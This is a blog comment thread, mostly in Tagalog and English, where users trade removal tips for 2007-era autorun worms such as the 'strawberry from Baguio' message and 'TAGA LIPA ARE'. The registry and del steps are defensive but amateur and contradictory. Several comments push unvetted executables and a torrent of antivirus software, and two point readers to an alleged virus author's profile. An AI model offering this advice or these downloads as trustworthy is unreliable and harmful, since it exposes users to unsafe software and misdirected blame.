I have already remove the virus last night. i used kaspersky. pero pag binuksan ko yung drive c ko, hinahanap nya yung virus file na nadelete na. which is “exiplorer.exe”. Tapos naiwan na yung message na “I’m still waiting for the strawberry coming from myguio! Pls. Help!” everytime na naglolog-on ako. How can I remove?
BTW, the name of the virus Virus.Win32.AutoRun.m
Message posted by SHENGTON on 25 May 2007 at 11:17am – IP Logged
SHENGTON
pcx newbie
Philippines
13 December 2006
W32/Vizim.worm or Virus.Win32.AutoRun.m
W32/Vizim-A is a worm for the Windows platform.
Worms infect computers, but do not infect files. They can simply be identified and deleted. However, they often make registry or startup file changes so that they are executed on boot-up.
When first run W32/Vizim-A copies itself to the root and Windows system folders and creates the following files:
\autorun.inf
\autorun.inf
The file autorun.inf is designed to start the worm once the removeable drive is connected to a uninfected computer. The file autorun.inf can be safely deleted.
Registry entries are set as follows:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption
PROMISE???
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
LegalNoticeText
I am still waiting for the strawberry coming from my Baguio! Pls.. Help!
Here how to remove this virus nrdvjr: Click Me nrdvjr
all these doesnt work, fyi
Posted by Jun Lao | June 17, 11:03 am, 11:03 amthis one is new and odd. Inside the your flash drive are two hidden files and data such as autorun.inf and recycler folder containing the file RECYCLER\S-1-5-21-1078073611-1993962763-839522115-1003
Has the same effect like the taga lipa but the difference you cannot locate which registry has been added or modified. Some sites suggested to use hijack this and other same utilities.
Deleting these 2 files is merely impossible because as soon you delete them, they return.
I need your help Princess in this one. Thanks. You have helped a lot of user. More power!
Posted by Zero27 | June 17, 12:59 pm, 12:59 pmZero, A friend and I have been looking on to that a month back, no fixes yet, you could try the manual step of removing it by following this link
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FAGENT%2ESPS&VSect=Sn
Cheers and Goodluck
Posted by LRZ | June 17, 10:23 pm, 10:23 pmHMMMMMMM… thnx for the tips… zero27..But wer can i explore/ find this? =] RECYCLER\S-1-5-21-1078073611-1993962763-839522115-1003
thnx.. sorry im just a newbie i pc ahihihi!
Posted by timothy23 | June 18, 1:58 am, 1:58 amNatanggal ko na ang “Promise???” virus
Download lang ng AVG 7.5 then update then scan your computer then go to:
RUN type mo regedit then try mo hanapin dun s registry under HKEY\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
Winlogon\legalNoticeText “promise???” and “I am still waiting for the strawberry coming from my Baguio! Pls.. Help!” delete mo, Then labas ka destop punta ka ng my computer tools folder option then show hidden files pati hide protected operating system then explore ka sa C: delete mo yung exiplorer at autorun, pati s D: then pati sa recycle bin, then restart
Sana makatulong…
Posted by ferdie | June 18, 3:16 pm, 3:16 pmnatangal ko na din ung promise virus sa pc ko.. heheh ,, pero i’m not sure kung gagana ‘to,,, run the regedit then search then type promise, then erase the whole folder…. then, search for the autoruns in your hard disk drives and delete it…..try nu
Posted by mark | June 19, 7:16 pm, 7:16 pmFerdie and Mark
there are more stuff needed to do than just removing its registry entries.
it’s somewhat connected to somefiles too that needs to be deleted.
I’ve made a quick fix for all those infected with the ‘BS’ worm 🙂
Here’s a link with Full Details
http://www.convergenceforums.net/e107_plugins/forum/forum_viewtopic.php?17878
Cheers All
-Leerz
Posted by LRZ | June 23, 5:58 pm, 5:58 pmHi, I just wanted to say thanks for posting these removal instructions. I’m not what most people would call “computer literate” but I still managed to follow your guide and it worked a treat. Thanks again.
David
Posted by DavidM | June 25, 4:48 pm, 4:48 pmHey, this is a very helpful instruction! Ang dali nyang ifollow hindi gaya nung nakapost sa ibang websites. Salamat!!!
Posted by Lei | June 27, 10:44 am, 10:44 amhi there! please help me to get rid of “im still waiting for strawberry from my Baguio!
Posted by isko | June 28, 2:31 pm, 2:31 pmpaano po ba ang pag rereformat sa tuwing ginagamit ko po ang aking cpu bigla po sya nag bublu
Posted by onickz | July 1, 9:24 pm, 9:24 pmprincess, alam mo b ung ghost virus, ms-dos batch file..ngggwa xa ng folder s halos lhat ng folder..”gy” ung company name..please help my friend, s ngaun ndi ko p nttanggal e..tnx..:)
Posted by chaux | July 2, 2:57 pm, 2:57 pmDuders,
why dont you try using Noob_killer it will easily remove “taga lipa are” just 3 clicks (i guess)
if you want a copy of noob_killer just email me @doux_04@yahoo.com!
cge mga dude! happy emailing! ^^
Posted by pohpeht | July 3, 1:23 pm, 1:23 pmHi Princess, I Love what you have been doing here….
Anyways about reggies question, what you have there is a very difficult virus, I have encountered it so before and its really difficult to remove. I you want details on how to remove it you could email me at malmangbata@yahoo.com…
By the way princess thanks for the details on removing th Promise??? Script….
Posted by Associate in Computer Technology | July 3, 2:12 pm, 2:12 pmhow to format my computer because my computer is out memory in the middle of my work in my pc. my cpu is turning off after that flash an error report and restart my computer automatically. how to solve it? thank you so much convergence
Posted by onickz | July 4, 8:11 pm, 8:11 pmFOR YOU MARK PARA SAYO TO E2 ANG PNAKA LATEST NA ANTI VIRUS TRUST & FRENCY
Posted by onickz | July 4, 8:18 pm, 8:18 pmei my script po ba kau nug virus na PROMISE??? ung my script na “im still waiting for the strawberry from baguio”
ung na run ng exiplorer.exe? ty
Posted by ambrosia | July 7, 7:29 am, 7:29 amemail me at hoy_77@yahoo.com]
Posted by ambrosia | July 7, 7:30 am, 7:30 ammga gago ayaw matanggal eh hahahaha
Posted by jerzs | July 7, 10:17 pm, 10:17 pmprincess,
i am new here , an i badly need your help guys, yung baguio strawberry virus, nde ko maalis sa pc ko . the problem kasi eh , ayaw gumana ng run —> regedit —> ang nakalagay eh disabled by the task manager .. nde ko tuloy alam ang gagawin ko .. plssss… help me ..
Posted by ligy | July 11, 10:25 am, 10:25 amHow can i delete that virusis such as strawberries if my folder option is hidden, even on my control panel the folder option are not display plz help about this situation..
Posted by BokBOk | July 11, 2:07 pm, 2:07 pmwow, pasali naman sa grupo aehehehe ngaun lang ako nakatunton d2 kaso this is the first and the last
Posted by kenshinxian | July 12, 6:42 pm, 6:42 pmThanks for the info, how about strawberry from baguio?
Posted by applejuice | July 13, 11:40 am, 11:40 amhello guys!!!!
Thanks for some info…
I just want to share this…
If your pc or external storage(flashdrive, ext. hdd, memory card, etc) is infected with RaVmon.e and autorun.inf, try this…
Goto command prompt…
try to use this dos command…
ex. cd\
dir c: /ah — to view hidden files
if you see these files ravmon.exe, autorun.inf
msv*.dll, fs65*.*
you cannot delete it , u have to attrib it 1st
attrib -r -s -h autorun.inf
del autorun.inf
use this procedure on other files also… but dont delete system files…
Posted by Regaps | July 13, 1:06 pm, 1:06 pmthank you for the advise… ur site has been very helpful. God bless
Posted by sharona romero | July 14, 7:43 pm, 7:43 pmKaloka naman strawberry from Baguio…To Mark & Ferdie can u please rephrase instruction. But i want to hear princess advice rin about removing “Promise……. “
Posted by magica | July 15, 1:23 pm, 1:23 pmHI!
I have have tired all the steps to delete FS6519.dll.vbs but still all folders seems to auto run.
I even try loading this :
http://leerz25.sitesled.com/files/tools/fixes/NOOB_KILLER.by.Leerz.zip
But still this does’t solve the problem.
Can anybody help me to solve this problem!!!!
email me at estrada_harold77@yahoo.com.
thanks!
God bless….
Posted by HAROLD | July 16, 6:05 pm, 6:05 pmT_T Stupid viruses…
I also got the same problem as Mark…that stupid strawberry from Bagiuo message. Arrgh! I’m going to kill myself if this viruses don’t get deleted.
You think it was transferred from my aunt’s computer? Coz, my computer didn’t had it before.
And…when I had my vacation in the Philippines, we stayed at my aunt’s. Her computer had that Bagiuo message in it at the startup…and then, lil ole me connected my iPod on the USB port…T_T
Damn people making stupid fucked up viruses! IDIOTS… -shifty eyes-
Posted by Lija-chan | July 17, 1:36 am, 1:36 amei who has the script of the “PROMISE???” virus can you send it in my email add.. hoy_77@yahoo.com
ty… iwant to try it to my pc
Posted by ambrosia07 | July 18, 6:31 pm, 6:31 pmpucha may bagong virus na pumasok sa pc ko
actually hindi sya bago ibang version na nmn ng TLA
hindi lang ung IE title bar ang binabago pati ung
sa may time nakalagay ORAGON
ung description ng mga files may oragon
sinubukan ko nang i run ung noob killerz
pero ang nattanggal lang eh ung wscript.exe
pero nandun pa rin
hindi ko maaus sa regedit kasi pati un naka disable
puta
Posted by kenneth | July 22, 2:52 pm, 2:52 pmui! schoolmate!
cute mu pla…hehe
so kilala mu cla helen, angel, reggie at ayann? acm din ata cla.
BS EM ako, enggsoc. hehe
apply k naman samen…dami din cs dito! 🙂
tenx ulit! glenggleng!
Posted by redeyes09 | July 23, 8:20 am, 8:20 amMga tol ,
I have a problem about this viruz pls help me or email, to how to remove it. thank people!!!!!
” im still waiting strawberry coming from the baguio”
or just email me
@marvcph2001@yahoo.com
Posted by Marvin | July 26, 11:36 am, 11:36 amhey guys
recently i also infected by {taga lipa virus ,hacked by godzila}on internet explore .it has following symptoms
!
1.cannot open drive direcrtly through left mouse click
2.explorer bar shows taga …….lipa ,
3.also one time hacked by godzila
tried to remove by norton ,avast ,they cannot even detect it.
atlast i get rid of following small virus removal tool.
http://leerz25.sitesled.com/files/tools/fixes/NOOB_KILLER.by.Leerz.zip
so guys down load and use it …send replies to me
at following address to know more about it
hisaurav2000@yahoo.com or call me +919954484551
i always want to help you .
Posted by dr.saurav,assam medical college | July 29, 1:16 am, 1:16 amkakainis tong TAGA LIPA ARE..KUNG NANDITO lang sa harap q ang nag gawa nito poputolan q talaga ng ulo putnag ina..!! punta ka mindanoa…
Posted by yadzz | July 30, 12:05 am, 12:05 amsaklolo po, yung strawberry virus po parang sinira na ung isa kong pc. paano po tanggalin yun, eh yung kay leerz na pang tanggal po sa virus ayaw matanggal heellp. po pleseeeeee….
ehto po ung e-mail add ko…. Eyajeet@yahoo.com as soon as possible po sana tulungan nyo po ako….
teejaye
Posted by teejaye | July 30, 11:22 am, 11:22 ammga pare… kung may atraso sa inyo yan.. kayo na bahala..
yan ung gumawa ng taga lipa are.. este di pla ginawa.. inedit lng…….
http://www.friendster.com/10853035
yan ung friendster profile nya.. ayt
Posted by bert | July 30, 10:51 pm, 10:51 pmhey tnx to all of you
Posted by pam | July 31, 9:10 am, 9:10 ambaket di ma-autorun yung C: ko…
Posted by pam | July 31, 9:13 am, 9:13 ameverytime na clik ko yung drives eto lumalabas
— cannot find script file FS6519.dll.vbs—
what shud i do
Posted by pam | July 31, 9:47 am, 9:47 amhi everyone,
after reading those comments mukhang di ko nakita yung “right procedure” of deleting the “PROMISE???… I am still waiting for the strawberry…” na virus na yan. Hayy… help naman po. appreciate your help. tnx 😉
Posted by dualc | July 31, 9:42 pm, 9:42 pmsabe ng iba… strawberry virus.. kalimitan sa mga USB port… specially sa mga flash drive daw… ganun din problem ko e… til now d ko p rin naaalis ang strawberry virus na yan… pakiPOST nmn po ng instruction pra matanggal ang strawberry virus… gawa po kayo new thread… thanks..
Posted by awttz | August 1, 1:37 pm, 1:37 pmsame here, i already tried NOOB_KILLER pero ayaw parin matanggal ng Strawberry… anyway paki post naman yung gumagana… thx. God Bless!!!
Posted by rewind88 | August 1, 9:32 pm, 9:32 pmTRY DEEP FREEZING YOUR OS!!!
Posted by RTUGA | August 2, 2:31 pm, 2:31 pmhow to do deep freezing your os?
Posted by mark | August 3, 9:37 am, 9:37 amei.. d rin ngana ung recomend ko about strawberry virus… pro nwala ung s’kin….i don’t know y
Posted by mark | August 3, 9:39 am, 9:39 amtry deleting the “exiplorer” sa system32 ng windows folder then try nyo yung Noob_killer.
Posted by rewind88 | August 3, 11:22 pm, 11:22 pmDEEP FREEZE ganito: http://www.google.com i-google mo…
Posted by rtuga | August 4, 8:17 pm, 8:17 pmBe sure that after fresh install and before you hit
online, DEEP FREEZE your OS,leave all other installations and games
on the other partition. You will never need antivirus or anti-anything
right after each restart, your system will return to it’s initial
state, fresh and young painlessly. All modifications in the system by the virus
will be gone.pooff!
Posted by rtuga | August 4, 8:21 pm, 8:21 pmbigyan nyo po ako ng anti virus bara sa “taga lipa are” please..
Posted by Joel | August 5, 1:24 pm, 1:24 pmbakit ganun. nawala na tong badtrip na ‘promise???’ na’toh sa laptop ko, tapos nainfect lang ulit… nde ko na magawa yung dating steps para sha matanggal. nasira na yung mga programs ko dito… ayaw na mag-run… nakakaasar lang kasi ang dami kong ginagawa… ngayon pa tinoyo ng todo. paano ko sha maaalis…
Posted by cole | August 7, 1:45 am, 1:45 ami dont know…. ihate all computer…..
Posted by daywalker | August 7, 10:42 am, 10:42 amreformat mo lahat….save your file to drive d: if naka partation ka….tapos format mo lahat…1 hr lang yan….ok
Posted by daywalker | August 7, 10:43 am, 10:43 ammaraming folder laging nag run paano to ma esolve….give me a nice answer kahit 20 mnts lang paano mo masolve ang maraming folder na alang laman….if e click mo autorun lahat….nakaka sira nang ulo tong folder nato….
Posted by daywalker | August 7, 10:45 am, 10:45 amgamitin nyo nang deeprezzzz….
para ala kayong problema….
Posted by daywalker | August 7, 10:50 am, 10:50 amhayyyy…. mga manggagaya lang… wala ba kaung originality???!!! nkakahiya naman…. ang lam lang e mag-edit lng ng mag-edit…. laoosss na un eee…..! BEAT ME !!!
Posted by lipeno | August 7, 3:10 pm, 3:10 pmHi guys,
Please help me my PC is infected with virus, virus name is strawberry, pag open ko ng pc may window na lumalabas ang nakalagay “i’m still waiting for the strawberry coming in my baguio, please help,” at pag hindi ko na click yng OK na buttom hindi sya tutuloy sa windows, pano ba i remove ito, please! thanks ng marami, marami narin akong ginawang way eh wala talaga, pati sa registry nilinis ko na ganon parin,
Thanks,
Posted by Ace | August 7, 3:15 pm, 3:15 pmHi Princess!
I need you help … please send ne an email how to remove “i’m still waiting for the strawberry coming in my baguio, please help” Please email me
Tnx
Posted by Bongskee | August 8, 11:52 pm, 11:52 pmbadtrip talagang viruz na yan kainis….. salamat sa info try kung gawin sana working 2…. un avg enterprise kasi ala wenta..napapasukan pa din mas ok pa un norton na 2004 professional……
thanksss uli sa info…
Posted by erick | August 9, 4:02 pm, 4:02 pmfor those pc masters
i had virus
“PROMISE………………………. from bagiou”
on my pc.
pls help
send me instruction in my e-mail at:
gratelarry@yahoo.com
tnx
Posted by althea | August 10, 8:17 am, 8:17 amIn reply to comment #17 (whoa there is a lot)
Game development. Whoa! Lend me some of your betas, I’ll gladly test them for bugs. 😛
BTW, I made a blog entry on how to remove autorun-driven malware for a lot of my friends experience this kind of infection. Maybe that would somehow help. 🙂
Posted by Aja | August 10, 10:33 pm, 10:33 pmI’ve just read your comment stating, PEBKAC. LOL! I dare not say this to my friends, though. “Error on OSI layer 8” is a more ambiguous one, I might say. 😛
Posted by Aja | August 11, 12:58 am, 12:58 ami’ve also got that strawberry virus, kainis! BTW, they are telling that this virus might be from my flash drive, do i need to reformat my flash drive? hope you can help
Posted by jullieana | August 11, 3:56 pm, 3:56 pm1st Disable System Restore under Windows XP:
Point to Start, Control Panel, Performance and Maintenance. Double-click “System”, then select the System Restore tab. Select the ‘Turn off System Restore” on all drives box. Click Apply. Click Yes. Restart your system [in safe mode].
2nd restart in safe mode
As soon as you boot the computer keep clicking F8. THEN choose START in SAFEMODE with networking.
2nd download
http://leerz25.sitesled.com/files/tools/fixes/NOOB_KILLER.by.Leerz.zip Then UNZIP.
3rd
4th RUN NOOB_KILLER.
Eh Kasi PINOY TAYO!
====== Everyone have a wonderful day.
Posted by joan | August 12, 6:31 pm, 6:31 pmpara sa mga noob na nalagyan ng taga lipa virus….
all you need to do is to download hijackthis
type nio lang sa google un tpos punta kau sa mga site dun…
libre lang un
run the program tpos hanapin nio ung root na my taga lipa are!
check nio un tpos ….
pindutin nio ung addchecked to ignorelist….
tapos…. tapos na!!!
wala na un….
to keep your pc from virus….
download nio nod32 tpos update nio palagi….
yan ang astig na anti-virus!
Posted by ron erick | August 12, 11:13 pm, 11:13 pmmeron ako technique para matangal yung strawberry virus…
100% sure gumana sya skn…natatawa ako sa mga solutions nyo…hindi naman gumagana…etong skn, common sense lng ang pinagana ko…magpapasalamat kyo skn for sure dahil dito sa technique ko…100% sure….
alam nyo kung ano ang solution? i system restore nyo lng…ganon lng ka simple…pinahihirapan nyo pa sarili nyo….nkakatawa tlga kyo…
for those who dont know how to do it…
double click
-my computer
-control panel
-performance and maintenance
-sa left side hanapin nyo sa upper left yun System Restore tpos click nyo yun
-tpos click nyo restore my computer to an earlier time
-tpos next nyo
-tpos click nyo sa calendar yung mga dates na nkahighlight na blue
-piliin nyo yung mga nakahighlight lng na date na sa tingin nyo nung time na yun wla pang virus yung computer nyo..tpos next nyo lng ng next hangang ipa restart syo ng computer..pgkarestart nyo…wla na yung virus..
this is 100% sure…magpapasalamat kyo skn dahil dito sa solution ko…im very sure…here is my email para sa mga gustong magpasalamat………jchrnndz@yahoo.com
Posted by jc | August 13, 2:36 am, 2:36 amSino po may alam pano mawala yung virus na ORAGON INI! ?
Para din syang TAGA LIPA ARE na nakadispalay sa INTERNET EXPLORER.
Eto yung nakikita ko sa msconfig –> start-up “MsUpdate.sys.vb”
Uncheck ko sya sa msconfig yun pa lang ginagawa ko
Posted by BRWNEYES | August 13, 9:38 am, 9:38 amits a no brainer for jc… a round of applause for you…. hindi nakakatawa ang solution mo.
BUT for everyone else who could not do system restore for one reason or another… here is what to do…
1st Disable System Restore under Windows XP:
Point to Start, Control Panel, Performance and Maintenance. Double-click “System”, then select the System Restore tab. Select the ‘Turn off System Restore” on all drives box. Click Apply. Click Yes. Restart your system [in safe mode].
2nd restart in safe mode
As soon as you boot the computer keep clicking F8. THEN choose START in SAFEMODE with networking.
2nd download
http://leerz25.sitesled.com/files/tools/fixes/NOOB_KILLER.by.Leerz.zip Then UNZIP and RUN NOOB_KILLER.
3rd delete all 3rd party shared folders from your MY NETWORK PLACES. There is a big chance that you got infected from them.
4th RUN Regedit
ctrl+f then type exiplorer.exe
then delete the item that contains this
after deleting the first item PRESS F3 to go to the next item.
5th RESTART PC
6th attach your flash disk then in my computer, right click and choose open instead. Then delete exiplorer.exe and autorun.inf
BTW, the version i get into has about 6 entries in the registry… nice redundant step.
Eh Kasi PINOY TAYO!
====== Everyone have a wonderful day. and btw, you do not have to thank me for this.
Posted by joan | August 13, 7:39 pm, 7:39 pmthanks joan. but no thanks…system restore is the easiest way and it works for me…no need to disable system restore and restarting in safe mode…such a waste of time…maybe it works for you but what im trying to say is that…
“wag nyo na pahirapan sarili nyo…system restore lng ang solution…yun lng…thanks for the comment joan…
Posted by jc | August 14, 5:41 pm, 5:41 pmcan anyone help me t0 rem0ve a virus in my profile in friendster?because when im g0nna open my profile it will turn t0 white..and i think i accidentally pressed a free smileys and when im g0nna g0 back in my pr0file it will turn to white…pls i need a help
-reply ..thnx!!-
Posted by rose | August 14, 8:56 pm, 8:56 pmto rose
delete your frindster account and make a new one…
Posted by ss | August 15, 5:25 pm, 5:25 pmanother thread for the so-called so-weak trojan type “taga-lipa-are”, don’t have to restore don’t have to open regedit, iniatially you just can use the del /f /a:h to delete the file.
1. Window Key + R
2. Type cmd > Enter
3. Go to [DRIVE]: – External / Flash / Usb / What ever! Just find the dir where the file resides.
4. Type del /f /a:h [FILENAME.VBS]
5. Be happy.
– 1 and 0 you mean?
Posted by hARdrain | August 19, 8:33 pm, 8:33 pmtry nyo mcafee download.
http://www.mininova.org/tor/834719
d ko po xure .
Sana maka 2long ^_^
Posted by v1p3r13 | August 24, 7:24 am, 7:24 amlam ko na panu mwala ung exiplorer.exe!!
download nyo ung NOOB_KILLER
run nyo ung dlwang scanner
pde rin delete nyo muna sa regedit(tignan nyo muna kung nandun pa ung virus kelangan kse) pag nandun pa sundan nyo lang to..
run>regedit>find mo ung exiplorer.exe tpos delete nyo un
wag ung buong REG_SZ pag may word na mahaba etc.(ung exiplorer.exe na word lang)
pag exiplorer.exe lang na word delete nyo ung buong REG_SZ
then restart
tpos delete nyo na ung exiplorer.exe
kung may antivirus kayo…restore nyo
tpos sundan nyo lang yang guide na yan….
NOTE:NANDUN DPAT UNG VIRUS SA HARDRIVE NYO BAGO
NYO DELETE UNG NASA REGISTRY EDITOR….
pra di na bumalik
visit my site v1p3r13.blogspot.com
under construction ehehehe
SORRY MAGULO NAGMAMADLI ME KSE (PEACE!)
SANA MAINTINDIHAN KAHIT KONTE
Posted by v1p3r13 | August 24, 8:07 am, 8:07 amtry ko yung system restore tonight ha… ill keep you guys posted… tnx
Posted by alma mari | August 24, 1:35 pm, 1:35 pmmali ung guide ni princess kelangan ma delete muna sa registry yun bago nya delete ung virus.tpos need nya ung noob_killer na program
Posted by v1p3r13 | August 26, 7:16 am, 7:16 amThanks for the system restore for Strawberry virus… kainis, sino bang gumawa nito???
Posted by keeno boi | August 27, 10:39 pm, 10:39 pmam i will give the poeple who wants anti-virus AVG 448 i dont know to put anti-virus
Posted by jerjay sy | August 28, 5:37 pm, 5:37 pmsana di na sila maglagay ng ”virus” para hindi masira ang mga computer!!! malaki sila perwisyo sa guma gamit ng ”PC” di ba, help po ty po kay princess of antiquity
Posted by jerjay sy | August 28, 5:49 pm, 5:49 pmbdtrep tong taga lipa are buambagaL DSL nmn ghaha
Posted by QpaLiTo | August 28, 7:25 pm, 7:25 pmHow can i get rid of ORAGON INI in IE? i have followed the procedure to delete this file FS6519.dll.vbs. But cannot see it after configure the folders to show system, OS and hidden files and file extensions.
Posted by matt | August 28, 9:43 pm, 9:43 pmpano kung may autorun na sangkatutak ang flashdrive ko, saka yung recycler? pano yun tatanggalin?
Posted by Angel Slayer | August 29, 10:23 pm, 10:23 pmhello princess!
I used Norton AV 2007 & Tune Up Utilities 2007 Registry Cleaner. I guess it seemed to have removed d script file coz i cant find it anymore in the registry & i followed your advice in changing the explorer title bar using regedit (thanks for the info by the way it removed that freakin TAGA LIPA ARE coz its been freakin buggin me everytime i open IE!)
HOWEVER (notice i typed it in bold letters), whenever i click on my hard drive, an error message always appear: Can not find script file “C:\FS6519.dll.vbs”. I have to right click on my HD then click “explore”. Its such a pain in the neck.
PLEASE HELP ME WITH THIS. I KNOW YOUR A GENIUS IN COMPUTER PROGRAMMING STUFF. THANKS FOR YOUR HELP. I’M SURE A LOT OF PEOPLE ARE GRATEFUL & INDEBTED TO YOUR WORK IN MAKING OUR PC’s “TAGA LIPA ARE”-FREE.
MORE POWER!
Posted by neo_drumz | August 30, 11:23 am, 11:23 amFor the first time, tinamaan ako ng virus. Are you sure this will work?
Posted by Alexis Pandaan | August 30, 2:30 pm, 2:30 pmAlam ko na king sino ang programmer ng virus na yan. Taga STI Lipa siya. Try nyong bisitahin ang friendster niya sa draganta@rock.com.
Posted by Alexis Pandaan | August 31, 2:12 pm, 2:12 pmhello!
im new infected virus…i used avg and mc cafee..but can’t erase the virus…i don’t know what to do…i am new owner computer cafe..at nka network..so 2 computer are infected…
what i did to do…
name virus..recycler..codeS-1-5-21-2052111302-113007714-839522115-1003…..
help me..im from mindoro…
thanks…
Posted by cashley | September 1, 6:09 pm, 6:09 pmhelp me nmn ung comp ko bumabagal nnmn cia nag install ako ng anti virus avast…but nung tumagal bumagal n nakakadetect nmn cia ng virus like trojan and worm pero ngayon di ko lam anong problema pag nagsesearch ako ng mga assignments ko sa internet in yahoo or google iba ang lumalabas puro mga porno and may lumalabas pang anti virus daw cia nagauto install cia sa comp ko but hinaharanggan ng avast..nakukuha ko cia pagnasesearch ako…can u plz help me to fix these….wla akong alam sa comp. nalaman ko lng to web site mo sa frend kong humingi din ng tulong…sna ako din matulungan mo…thank u….
Posted by jhoanne | September 1, 8:29 pm, 8:29 pmei … anyone there that knows how to remove the bacabro virus.. please post..or email me at msfate06@yahoo.com tnx
Posted by mark | September 2, 6:56 am, 6:56 amsalamat. asar kasi ung nag rent d2 sa shop namin, lagyan ba naman nun
Posted by Jayvee Lim | September 2, 8:52 pm, 8:52 pmkaspersky anti virus ba na try nyo na?
mininova.com
for the client bitlord.com
d ko sure pero eto ginagamit ko ok nmn..
kung gusto nyo matangal ung
FS6519.dll.vbs email nyo lang ako.. 13v1p3r13@gmail.com
Posted by v1p3r13 | September 3, 4:17 am, 4:17 amHi Princess, can you help me on how can i remove Promise! strawberries from baguio virus? thanks and hope you can help me…..
Posted by BlueAngel | September 3, 12:22 pm, 12:22 pmso tis f*cking virus would only duplicate some programs on my pc right? di naman siguro to naghahack ng mga files nu???
Posted by maydee | September 6, 1:38 am, 1:38 amask ko lang..kung pano alisin ung oragon ini…sa tabi nung time sa baba…wala na ung malware pero ung oragon ini sa may oras nandun parin pls..help..thanks….
Posted by kimpoy | September 9, 5:12 pm, 5:12 pmWe had this Taga lipa ARE on our computer. We were able to take it out with your instructions. I would like to thank you for making our computing hassle free from juvenile delinquents in the web. More power to you!
Posted by iloadmachines | September 10, 8:42 pm, 8:42 pmpls help me how to remove this virus
PROMISE………………………. from bagiou”
pls
here’s my email mcminta@yahoo.com
Posted by mira | September 11, 10:07 pm, 10:07 pmtulongan mo naman ako sa problem, its eating my computer badly……please lang po mam/sir i dont know what kind of antivirus gonna fix this kind of problem, kahit yung antivirus nalang, and also this new strawberry virus it also keeps my computer running slow…….please lang po maam/sir
Posted by daffy | September 12, 4:46 pm, 4:46 pmHI ALDS…..
actually my laptop was always being affected by the ‘taga lipa are’ your steps/ways to remove it were really efffective. i was able to remove it several times already… but now, it doesnt seem to work.. actually i know that i was skipping a step… i do not know where MS Config is… i cant see it in my start up.. so ive been skipping that step from the start.. maybe that’s the reason why the virus keeps on coming back…
i know that i sound so stupid for not knowing where the MS Config is.. i really dont know anything about computers, i just know how to use it by surfing the net and making documents. pls help me with this..
you have been so helpful, i just hope that i am not asking too much from you already..
thanks. will be waiting for ur reply, if its ok, you may e-mail me you response through sharona_romero@yahoo.com
thanks again.
Posted by sharona romero | September 12, 9:17 pm, 9:17 pmdi ko po alam pano tanggalin yun taga lipa are at yun fs6519.dll.vbs paki email naman po sakin kung pano tanggalin salamat po asap sa mga taga bats…
Posted by francis of cuenca bats. | September 16, 3:58 am, 3:58 ami was able to remove “strawberry” without so much complications.. if you want a try jsut follow this…
In doing this procedure you should login as administrator of your PC.
1. Right Click My Computer then explore. Look for autorun.inf and Delete this.
2. Click Start – Run and type regedit. Click HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
3. Look for LegalNoticeCaption and delete the data “PROMISE???”
4. Look for LegalNoticeText and delete the data “I am still waiting for the strawberry coming from my baguio! Pls…Help!”
Then close regedit and restart your computer.
Note: Just remove the the value data. ok
Hope this helps to all of you who have this kind of virus.
Posted by kyuketsuki | September 17, 12:48 pm, 12:48 pmi couldn’t agree more w/ Rom. you should try ubuntu or any other linux OS. i find avast home edition as the most effective free anti-virus. also comodo firewall is your friend.
kyux
Posted by kyux | September 18, 11:47 am, 11:47 amYes! Finally something about pst repair.
Posted by pst repair | July 22, 12:15 pm, 12:15 pmAppreciating the time and energy you put into your site
and detailed information you present. It’s nice to come across a blog every once in a while that isn’t
the same old rehashed material. Wonderful read! I’ve saved your site and I’m
adding your RSS feeds to my Google account.
Posted by volcom surf clothes | August 5, 1:11 am, 1:11 amHowdy very nice blog!! Guy .. Excellent .. Superb .. I’ll bookmark your site and take the feeds additionally? I’m happy to search out a lot of
helpful information here in the post, we need develop extra techniques in this
regard, thanks for sharing. . . . . .
Posted by portable vaporizer review | September 6, 5:52 am, 5:52 amWhat a stuff of un-ambiguity and preserveness of valuable familiarity concerning unexpected emotions.
Posted by games for psp free download | September 8, 6:24 pm, 6:24 pmWow, this paragraph is nice, my younger sister is analyzing these things, so
I am going to inform her.
Posted by Myvideo Downloader Online | October 21, 11:06 pm, 11:06 pmPiece of writing writing is also a fun, if you be familiar with after that you can write otherwise it is difficult
to write.
Posted by hospitality and branding East Rand | November 12, 6:18 pm, 6:18 pmThank you for every other fantastic post.
The place else may anyone get that type of info in such a
perfect manner of writing? I’ve a presentation subsequent week, and I’m on the look for such info.
Posted by nyaste smslån | November 27, 8:09 pm, 8:09 pmI have been browsing online more than three hours today, yet I never found any interesting article like yours. It is pretty worth enough for me. In my opinion, if all webmasters and bloggers made good content as you did, the internet will be a lot more useful than ever before.
Posted by Walter Nardini | April 9, 9:42 pm, 9:42 pmGood post. I learn something totally new and challenging on websites I stumbleupon on a daily basis.
It will always be exciting to read through content from other writers and
use a little something from their sites.
Posted by lloyd irvin | April 10, 11:41 am, 11:41 amIn some automobiles, this outlet is uncovered, when other individuals are not.
At$fifty-$100 OBD-II scanners are surely well truly worth acquiring.
Posted by Teena | May 17, 4:50 pm, 4:50 pmIt’s going to be ending of mine day, but before ending I am reading this great paragraph to improve my knowledge.
Posted by personal loans | June 25, 6:33 pm, 6:33 pmExcellent items from you, man. I’ve take note your stuff previous to and you’re
simply extremely excellent. I actually like what you’ve received here, certainly like what you’re saying
and the way by which you say it. You’re making it enjoyable and you still take care of to stay it wise. I cant wait to read much more from you. This is really a tremendous website.
Posted by free plans | June 29, 6:23 am, 6:23 amThank you for the good writeup. It in truth was
once a entertainment account it. Glance complex to more brought agreeable from you!
By the way, how could we keep up a correspondence?
Posted by Tabitha | June 30, 4:38 pm, 4:38 pmI am actually pleased to glance at this webpage posts which carries plenty
of valuable facts, thanks for providing these kinds of statistics.
Posted by online reputation management service | July 7, 10:20 pm, 10:20 pmHi, I do think this is an excellent website. I stumbledupon it 😉 I’m going to come back yet again since I book-marked it. Money and freedom is the greatest way to change, may you be rich and continue to guide others.
Posted by Russ | July 16, 9:03 pm, 9:03 pmHey.
With this piece of writing you go through quite a few
of the more noteworthy tips.
Enjoyable to read through and including practical advice!
Many thanks for sharing How to Remove TAGA LIPA ARE!
| Princess of Antiquity!
Posted by great retirement savings techniques | August 26, 6:57 am, 6:57 amYou’re so interesting! I do not believe I have read something like that before. So wonderful to discover another person with some genuine thoughts on this issue. Really.. thank you for starting this up. This site is something that’s needed on
the web, someone with a little originality!
